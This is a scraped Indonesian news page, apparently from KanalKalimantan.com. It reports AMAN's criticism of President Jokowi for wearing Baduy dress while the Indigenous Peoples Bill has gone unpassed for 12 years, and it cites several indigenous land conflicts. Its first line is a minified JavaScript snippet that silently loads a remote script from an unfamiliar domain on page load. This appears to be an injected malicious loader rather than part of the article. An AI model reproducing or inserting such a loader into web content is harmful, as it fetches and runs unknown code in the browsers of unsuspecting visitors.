(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

AMAN Kritik Jokowi Berbaju Badui: RUU Masyarakat Adat Sudah 12 Tahun Tak Disahkan


KANALKALIMANTAN.COM – Penggunaan pakaian adat oleh Presiden Joko Widodo (Jokowi) saat menghadiri Sidang Tahunan MPR di Kompleks Parlemen, Senin (16/8/2021), memantik Aliansi Masyarakat Adat Nusantara (AMAN) untuk kembali memperjuangkan perlindungan untuk masyarakat adat. Pasalnya, legislasi untuk perlindungan masyarakat adat tidak juga disahkan bahkan hingga 12 tahun lamanya.

Dalam keterangan resminya, AMAN merasakan miris ketika melihat Jokowi kerap menggunakan baju adat dalam perayaan hari kemerdekaan. Tetapi, hal tersebut tidak tercerminkan dengan sikapnya sebagai kepala negara kepada kelangsungan hidup masyarakat adat.

“Sebuah ironi, ketika Presiden Jokowi selalu menggunakan baju adat dalam perayaan hari kemerdekaan, namun kondisi Masyarakat Adat di Nusantara jauh dari kata merdeka,” demikian yang tertulis pada keterangan AMAN, Senin.

Bukan hanya satu atau dua kisah yang terdengar dari masyarakat adat di Indonesia harus rela ‘mengalah’ ketika lahan mereka digusur oleh sekelompok pengusaha. Meski mereka sudah mengerahkan seluruh kekuatan untuk mempertahankan tempat tinggalnya, tetap saja tidak berarti apa-apa dibandingkan dengan pengusaha-pengusaha yang kerap mengandalkan kekuatan besar termasuk dari aparat.

 

 

Baca juga: DKISP Banjar Terima Penghargaan Pengelolaan Reformasi Birokrasi Terbaik

AMAN mencatat beragam kasus penggusuran wilayah adat seperti yang dialami oleh Masyarakat Adat Laman Kinipan di Kalimantan Tengah oleh perusahaan perkebunan sawit, eksploitasi hutan Akejira yang menjadi ruang hidup Orang Tobelo Dalam oleh perusahaan tamban Nikel. Ada juga kasus terhangat datang dari wilayah adat di kawasan Tano Batak yang digusur untuk dijadikan perkebunan ekaliptus.

Tentu kasus itu hanya sebagian kecil dari banyaknya kasus penggusuran wilayah masyarakat adat. Meski kerap terjadi, perusahaan-perusahaan itu seolah diberikan kebebasan untuk mengambil wilayah adat.

Karena itu, AMAN terus memperjuangkan rancangan undang-undang (RUU) Masyarakat Adat, sebuah legislasi yang diharapkan dapat menjadi alat pelindung bagi masyarakat adat.

“Perusahaan-perusahaan tersebut terus dibiarkan merampas wilayah adat yang sebelum masa kemerdekaan telah menjadi ruang hidup Masyarakat Adat. Sementara itu, RUU Masyarakat Adat yang akan melindungi Masyarakat Adat telah 12 tahun tak kunjung disahkan.” (Suara.com)

Editor : kk


Desy Arfianty

Recent Posts

Hidup Makin Tenang, Hadapi Risiko dengan Asuransi Pelita dari BRI Life

KANALKALIMANTAN.COM, - Asuransi merupakan salah satu bentuk perlindungan yang perlu dimiliki setiap orang. Dengan memiliki… Read More

11 jam ago

10 Mei Hari Lupus Sedunia, Yuk Kenali Penyakit Lupus

KANALKALIMANTAN.COM - Peringatan Hari Lupus Sedunia ini diadakan pada tanggal 10 Mei setiap tahunnya. Hari… Read More

11 jam ago

Teror Buaya Muara di Pelambuan, Warga Diminta Jauhi Sungai

KANALKALIMANTAN.COM, BANJARMASIN - Buaya yang kerap muncul di Sungai Pelambuan, Kecamatan Banjarmasin Barat, Kota Banjarmasin,… Read More

12 jam ago

Satgas Distribusi Material ke Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pelaksaanan program TNI Manunggal Membangun Desa (TMMD) ke-120 Kodim 1001/HSU-BLG di Desa… Read More

16 jam ago

Yakin ‘Pemilik’ 13 Kursi Golkar, Acil Odah Lamar Nasdem Koalisi di Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More

18 jam ago

Musrenbang RPJPD 2025-2045, Bahas Rencana Program HSU 20 Tahun ke Depan

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More

18 jam ago

This website uses cookies.